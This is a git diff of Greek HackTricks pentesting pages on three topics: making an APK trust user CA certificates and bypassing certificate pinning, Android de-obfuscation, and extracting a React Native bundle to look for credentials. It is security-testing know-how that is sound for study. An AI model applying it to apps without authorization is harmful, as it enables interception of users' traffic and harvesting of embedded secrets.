Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Ρίξτε μια ματιά στο: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,40 +1,39 @@
# Make APK Accept CA Certificate
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Ομάδα Ασφαλείας Try Hard**
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Κάποιες εφαρμογές δεν αρέσουν στα πιστοποιητικά που κατεβάζουν οι χρήστες, οπότε για να ελέγξουμε την κίνηση στον ιστό για κάποιες εφαρμογές πρέπει πραγματικά να αποσυναρμολογήσουμε την εφαρμογή και να προσθέσουμε μερικά πράγματα και να την επανασυναρμολογήσουμε.
Ορισμένες εφαρμογές δεν δέχονται πιστοποιητικά που έχουν κατεβάσει οι χρήστες, οπότε για να επιθεωρήσουμε την κίνηση του ιστού για ορισμένες εφαρμογές, πρέπει στην πραγματικότητα να αποσυμπιέσουμε την εφαρμογή, να προσθέσουμε μερικά πράγματα και να την ξανασυμπιέσουμε.
## Αυτόματο
# Automatic
Το εργαλείο [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) θα κάνει **αυτόματα** τις απαραίτητες αλλαγές στην εφαρμογή για να ξεκινήσει την καταγραφή των αιτημάτων και θα απενεργοποιήσει επίσης το pinning του πιστοποιητικού (εάν υπάρχει).
Το εργαλείο [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) θα **αυτόματα** κάνει τις απαραίτητες αλλαγές στην εφαρμογή για να αρχίσει να καταγράφει τα αιτήματα και θα απενεργοποιήσει επίσης την πιστοποίηση πιστοποιητικών (αν υπάρχει).
## Χειροκίνητο
# Manual
Πρώτα αποσυναρμολογούμε την εφαρμογή: `apktool d *όνομα-αρχείου*.apk`
Πρώτα αποσυμπιέζουμε την εφαρμογή: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
Στη συνέχεια πηγαίνουμε στο αρχείο **Manifest.xml** και κατεβαίνουμε στην ετικέτα `<\application android>` και θα προσθέσουμε την παρακάτω γραμμή αν δεν υπάρχει ήδη:
Στη συνέχεια, πηγαίνουμε στο αρχείο **Manifest.xml** και κυλάμε προς τα κάτω στην ετικέτα `<\application android>` και θα προσθέσουμε την παρακάτω γραμμή αν δεν υπάρχει ήδη:
`android:networkSecurityConfig="@xml/network_security_config`
@ -47,7 +46,6 @@
![](../../.gitbook/assets/img11.png)
Τώρα πηγαίνουμε στον φάκελο **res/xml** και δημιουργούμε/τροποποιούμε ένα αρχείο με το όνομα network\_security\_config.xml με τα παρακάτω περιεχόμενα:
```markup
<network-security-config>
<base-config>
@ -60,27 +58,28 @@
</base-config>
</network-security-config>
```
Στη συνέχεια, αποθηκεύστε το αρχείο και βγείτε από όλους τους φακέλους και ανακατασκευάστε το apk με την ακόλουθη εντολή: `apktool b *όνομα-φακέλου/* -o *αρχείο-εξόδου.apk*`
Τότε αποθηκεύστε το αρχείο & βγείτε από όλους τους καταλόγους & ξαναχτίστε το apk με την παρακάτω εντολή: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Τέλος, απλά χρειάζεται να **υπογράψετε τη νέα εφαρμογή**. [Διαβάστε αυτήν την ενότητα της σελίδας Smali - Διάσπαση/\[Τροποποίηση\]/Σύνθεση για να μάθετε πώς να την υπογράψετε](smali-changes.md#sing-the-new-apk).
Τέλος, χρειάζεται απλώς να **υπογράψετε τη νέα εφαρμογή**. [Διαβάστε αυτή την ενότητα της σελίδας Smali - Decompiling/\[Modifying\]/Compiling για να μάθετε πώς να την υπογράψετε](smali-changes.md#sing-the-new-apk).
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
**Try Hard Security Group**
<img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt="" data-size="original">
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
Άλλοι τρόποι υποστήριξης του HackTricks:
{% embed url="https://discord.gg/tryhardsecurity" %}
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
<summary><strong>Μάθετε hacking AWS από το μηδέν έως τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή **να κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,38 +1,50 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Τεχνικές **αποκωδικοποίησης με χειροκίνητο τρόπο**
## Manual **De-obfuscation Techniques**
Στον τομέα της **ασφάλειας λογισμικού**, η διαδικασία της κατανόησης του ασαφούς κώδικα, γνωστή ως **αποκωδικοποίηση**, είναι κρίσιμη. Ο οδηγός αυτός εξετάζει διάφορες στρατηγικές για την αποκωδικοποίηση, επικεντρώνοντας στις τεχνικές ανάλυσης κατάστασης και αναγνώρισης μοτίβων αποκωδικοποίησης. Επιπλέον, παρουσιάζει ένα άσκηση για πρακτική εφαρμογή και προτείνει περαιτέρω πηγές για όσους ενδιαφέρονται να εξερευνήσουν πιο προηγμένα θέματα.
Στον τομέα της **ασφάλειας λογισμικού**, η διαδικασία καθιστώντας τον κωδικό που έχει αποκρυφτεί κατανοητό, γνωστή ως **de-obfuscation**, είναι κρίσιμη. Αυτός ο οδηγός εξετάζει διάφορες στρατηγικές για την αποσυμπίεση, εστιάζοντας σε τεχνικές στατικής ανάλυσης και αναγνώριση προτύπων απόκρυψης. Επιπλέον, εισάγει μια άσκηση για πρακτική εφαρμογή και προτείνει περαιτέρω πόρους για όσους ενδιαφέρονται να εξερευνήσουν πιο προχωρημένα θέματα.
### **Στρατηγικές για την Αποκωδικοποίηση Κατάστασης**
### **Strategies for Static De-obfuscation**
Όταν ασχολούμαστε με **ασαφή κώδικα**, μπορούν να χρησιμοποιηθούν διάφορες στρατηγικές ανάλογα με τη φύση της αποκωδικοποίησης:
Όταν ασχολείστε με **obfuscated code**, μπορούν να χρησιμοποιηθούν αρκετές στρατηγικές ανάλογα με τη φύση της απόκρυψης:
- **DEX bytecode (Java)**: Μια αποτελεσματική προσέγγιση περιλαμβάνει την αναγνώριση των μεθόδων αποκωδικοποίησης της εφαρμογής και την αναπαραγωγή αυτών των μεθόδων σε ένα αρχείο Java. Αυτό το αρχείο εκτελείται για να αναστρέψει την αποκωδικοποίηση στα στοιχεία που επιθυμούμε.
- **Java και Native Code**: Μια άλλη μέθοδος είναι η μετάφραση του αλγορίθμου αποκωδικοποίησης σε μια γλώσσα σεναρίου όπως το Python. Αυτή η στρατηγική υπογραμμίζει ότι ο κύριος στόχος δεν είναι να κατανοήσουμε πλήρως τον αλγόριθμο αλλά να τον εκτελέσουμε αποτελεσματικά.
- **DEX bytecode (Java)**: Μια αποτελεσματική προσέγγιση περιλαμβάνει την αναγνώριση των μεθόδων αποσυμπίεσης της εφαρμογής, στη συνέχεια την αναπαραγωγή αυτών των μεθόδων σε ένα αρχείο Java. Αυτό το αρχείο εκτελείται για να αντιστρέψει την απόκρυψη στα στοχευμένα στοιχεία.
- **Java and Native Code**: Μια άλλη μέθοδος είναι να μεταφράσετε τον αλγόριθμο αποσυμπίεσης σε μια γλώσσα scripting όπως η Python. Αυτή η στρατηγική τονίζει ότι ο κύριος στόχος δεν είναι να κατανοηθεί πλήρως ο αλγόριθμος αλλά να εκτελείται αποτελεσματικά.
### **Αναγνώριση Αποκωδικοποίησης**
### **Identifying Obfuscation**
Η αναγνώριση του ασαφούς κώδικα είναι το πρώτο βήμα στη διαδικασία της αποκωδικοποίησης. Κύριοι δείκτες περιλαμβάνουν:
Η αναγνώριση του αποκρυφθέντος κώδικα είναι το πρώτο βήμα στη διαδικασία αποσυμπίεσης. Κύριοι δείκτες περιλαμβάνουν:
- Η **απουσία ή ανακάτεμα των συμβολοσειρών** σε Java και Android, που μπορεί να υποδεικνύει αποκωδικοποίηση συμβολοσειρών.
- Η **παρουσία δυαδικών αρχείων** στον κατάλογο assets ή κλήσεις στο `DexClassLoader`, υποδεικνύοντας αποσυμπίεση κώδικα και δυναμική φόρτωση.
- Η χρήση **φυσικών βιβλιοθηκών μαζί με ακατανόητες JNI συναρτήσεις**, υποδεικνύοντας πιθανή αποκωδικοποίηση φυσικών μεθόδων.
- Η **έλλειψη ή η ανακατασκευή συμβολοσειρών** σε Java και Android, που μπορεί να υποδηλώνει απόκρυψη συμβολοσειρών.
- Η **παρουσία δυαδικών αρχείων** στον κατάλογο assets ή κλήσεις προς `DexClassLoader`, υποδεικνύοντας αποσυμπίεση κώδικα και δυναμική φόρτωση.
- Η χρήση **εγγενών βιβλιοθηκών μαζί με μη αναγνωρίσιμες JNI συναρτήσεις**, υποδεικνύοντας πιθανή απόκρυψη εγγενών μεθόδων.
## **Δυναμική Ανάλυση στην Αποκωδικοποίηση**
## **Dynamic Analysis in De-obfuscation**
Με την εκτέλεση του κώδικα σε έναν ελεγχόμενο περιβάλλον, η δυναμική ανάλυση **επιτρέπει την παρατήρηση του τρόπου λειτουργίας του ασαφούς κώδικα σε πραγματικό χρόνο**. Αυτή η μέθοδος είναι ιδιαίτερα αποτελεσματική για την αποκάλυψη της εσωτερικής λειτουργίας περίπλοκων μοτίβων αποκωδικοποίησης που έχουν σχεδιαστεί για να κρύψουν τον πραγματικό σκοπό του κώδικα.
Με την εκτέλεση του κώδικα σε ένα ελεγχόμενο περιβάλλον, η δυναμική ανάλυση **επιτρέπει την παρατήρηση του πώς συμπεριφέρεται ο αποκρυφθέν κώδικας σε πραγματικό χρόνο**. Αυτή η μέθοδος είναι ιδιαίτερα αποτελεσματική στην αποκάλυψη των εσωτερικών λειτουργιών πολύπλοκων προτύπων απόκρυψης που έχουν σχεδιαστεί για να κρύβουν την αληθινή πρόθεση του κώδικα.
### **Εφαρμογές της Δυναμικής Ανάλυσης
### **Applications of Dynamic Analysis**
- **Runtime Decryption**: Πολλές τεχνικές απόκρυψης περιλαμβάνουν την κρυπτογράφηση συμβολοσειρών ή τμημάτων κώδικα που αποκρυπτογραφούνται μόνο κατά την εκτέλεση. Μέσω της δυναμικής ανάλυσης, αυτά τα κρυπτογραφημένα στοιχεία μπορούν να καταγραφούν τη στιγμή της αποκρυπτογράφησης, αποκαλύπτοντας τη πραγματική τους μορφή.
- **Identifying Obfuscation Techniques**: Παρακολουθώντας τη συμπεριφορά της εφαρμογής, η δυναμική ανάλυση μπορεί να βοηθήσει στην αναγνώριση συγκεκριμένων τεχνικών απόκρυψης που χρησιμοποιούνται, όπως η εικονικοποίηση κώδικα, οι packers ή η δυναμική δημιουργία κώδικα.
- **Uncovering Hidden Functionality**: Ο αποκρυφθέν κώδικας μπορεί να περιέχει κρυφές λειτουργίες που δεν είναι προφανείς μόνο μέσω στατικής ανάλυσης. Η δυναμική ανάλυση επιτρέπει την παρατήρηση όλων των διαδρομών κώδικα, συμπεριλαμβανομένων εκείνων που εκτελούνται υπό προϋποθέσεις, για να αποκαλύψει τέτοιες κρυφές λειτουργίες.
## References and Further Reading
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Αυτή η ομιλία καλύπτει την αντίστροφη μηχανική μιας από τις πιο πολύπλοκες βιβλιοθήκες κατά της ανάλυσης που έχω δει να χρησιμοποιείται από μια εφαρμογή Android. Καλύπτει κυρίως τεχνικές απόκρυψης σε εγγενή κώδικα.
* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Αυτή η ομιλία συζητά μια σειρά τεχνικών απόκρυψης, αποκλειστικά σε κώδικα Java, που χρησιμοποιούσε ένα botnet Android για να κρύψει τη συμπεριφορά του.

View file

@ -1,62 +1,64 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Ανάλυση Εφαρμογής React Native
Για να επιβεβαιώσετε αν η εφαρμογή έχει κατασκευαστεί με το πλαίσιο React Native, ακολουθήστε αυτά τα βήματα:
Για να επιβεβαιώσετε αν η εφαρμογή έχει κατασκευαστεί στο πλαίσιο React Native, ακολουθήστε τα παρακάτω βήματα:
1. Μετονομάστε το αρχείο APK με κατάληξη zip και εξαγάγετε το σε ένα νέο φάκελο χρησιμοποιώντας την εντολή `cp com.example.apk example-apk.zip` και `unzip -qq example-apk.zip -d ReactNative`.
1. Μετονομάστε το αρχείο APK με επέκταση zip και εξαγάγετέ το σε έναν νέο φάκελο χρησιμοποιώντας την εντολή `cp com.example.apk example-apk.zip` και `unzip -qq example-apk.zip -d ReactNative`.
2. Πλοηγηθείτε στον νεοδημιουργηθέντα φάκελο ReactNative και εντοπίστε τον φάκελο assets. Μέσα σε αυτόν τον φάκελο, θα πρέπει να βρείτε το αρχείο `index.android.bundle`, το οποίο περιέχει τον κώδικα React JavaScript σε μια συμπιεσμένη μορφή.
2. Μεταβείτε στον νεοδημιουργηθέντα φάκελο ReactNative και εντοπίστε το φάκελο assets. Μέσα σε αυτόν τον φάκελο, θα πρέπει να βρείτε το αρχείο `index.android.bundle`, το οποίο περιέχει το React JavaScript σε μινιμαρισμένη μορφή.
3. Χρησιμοποιήστε την εντολή `find . -print | grep -i ".bundle$"` για να αναζητήσετε το αρχείο JavaScript.
Για περαιτέρω ανάλυση του κώδικα JavaScript, δημιουργήστε ένα αρχείο με όνομα `index.html` στον ίδιο φάκελο με τον παρακάτω κώδικα:
Για να αναλύσετε περαιτέρω τον κώδικα JavaScript, δημιουργήστε ένα αρχείο με το όνομα `index.html` στον ίδιο φάκελο με τον παρακάτω κώδικα:
```html
<script src="./index.android.bundle"></script>
```
Μπορείτε να ανεβάσετε το αρχείο στη διεύθυνση [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ή να ακολουθήσετε αυτά τα βήματα:
Μπορείτε να ανεβάσετε το αρχείο στο [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ή να ακολουθήσετε αυτά τα βήματα:
1. Ανοίξτε το αρχείο `index.html` στον Google Chrome.
1. Ανοίξτε το αρχείο `index.html` στο Google Chrome.
2. Ανοίξτε την Εργαλειοθήκη Προγραμματιστή πατώντας **Command+Option+J για OS X** ή **Control+Shift+J για Windows**.
2. Ανοίξτε την Εργαλειοθήκη Ανάπτυξης πατώντας **Command+Option+J για OS X** ή **Control+Shift+J για Windows**.
3. Κάντε κλικ στο "Sources" στην Εργαλειοθήκη Προγραμματιστή. Θα πρέπει να δείτε ένα αρχείο JavaScript που είναι χωρισμένο σε φακέλους και αρχεία, αποτελώντας τον κύριο δέμα.
3. Κάντε κλικ στο "Sources" στην Εργαλειοθήκη Ανάπτυξης. Θα πρέπει να δείτε ένα αρχείο JavaScript που είναι χωρισμένο σε φακέλους και αρχεία, που αποτελούν το κύριο πακέτο.
Εάν βρείτε ένα αρχείο με το όνομα `index.android.bundle.map`, θα μπορείτε να αναλύσετε τον πηγαίο κώδικα σε μη ελαττωμένη μορφή. Τα αρχεία χαρτογράφησης περιέχουν αντιστοίχιση πηγαίου κώδικα, που σας επιτρέπει να αντιστοιχίσετε ελαττωμένους αναγνωριστικούς.
Αν βρείτε ένα αρχείο που ονομάζεται `index.android.bundle.map`, θα μπορείτε να αναλύσετε τον πηγαίο κώδικα σε μη ελαχιστοποιημένη μορφή. Τα αρχεία χάρτη περιέχουν χαρτογράφηση πηγής, η οποία σας επιτρέπει να χαρτογραφήσετε ελαχιστοποιημένα αναγνωριστικά.
Για να αναζητήσετε ευαίσθητα διαπιστευτήρια και σημεία πρόσβασης, ακολουθήστε αυτά τα βήματα:
Για να αναζητήσετε ευαίσθητα διαπιστευτήρια και τελικούς προορισμούς, ακολουθήστε αυτά τα βήματα:
1. Αναγνωρίστε ευαίσθητες λέξεις-κλειδιά για να αναλύσετε τον κώδικα JavaScript. Οι εφαρμογές React Native συχνά χρησιμοποιούν υπηρεσίες τρίτων όπως το Firebase, τα σημεία πρόσβασης της υπηρεσίας AWS S3, ιδιωτικά κλειδιά κ.λπ.
1. Προσδιορίστε ευαίσθητες λέξεις-κλειδιά για να αναλύσετε τον κώδικα JavaScript. Οι εφαρμογές React Native συχνά χρησιμοποιούν τρίτες υπηρεσίες όπως το Firebase, τα σημεία υπηρεσίας AWS S3, ιδιωτικά κλειδιά κ.λπ.
2. Σε αυτήν τη συγκεκριμένη περίπτωση, παρατηρήθηκε ότι η εφαρμογή χρησιμοποιούσε την υπηρεσία Dialogflow. Αναζητήστε ένα πρότυπο που σχετίζεται με τη διαμόρφωσή της.
2. Σε αυτή την συγκεκριμένη περίπτωση, παρατηρήθηκε ότι η εφαρμογή χρησιμοποιούσε την υπηρεσία Dialogflow. Αναζητήστε ένα μοτίβο σχετικό με τη διαμόρφωσή της.
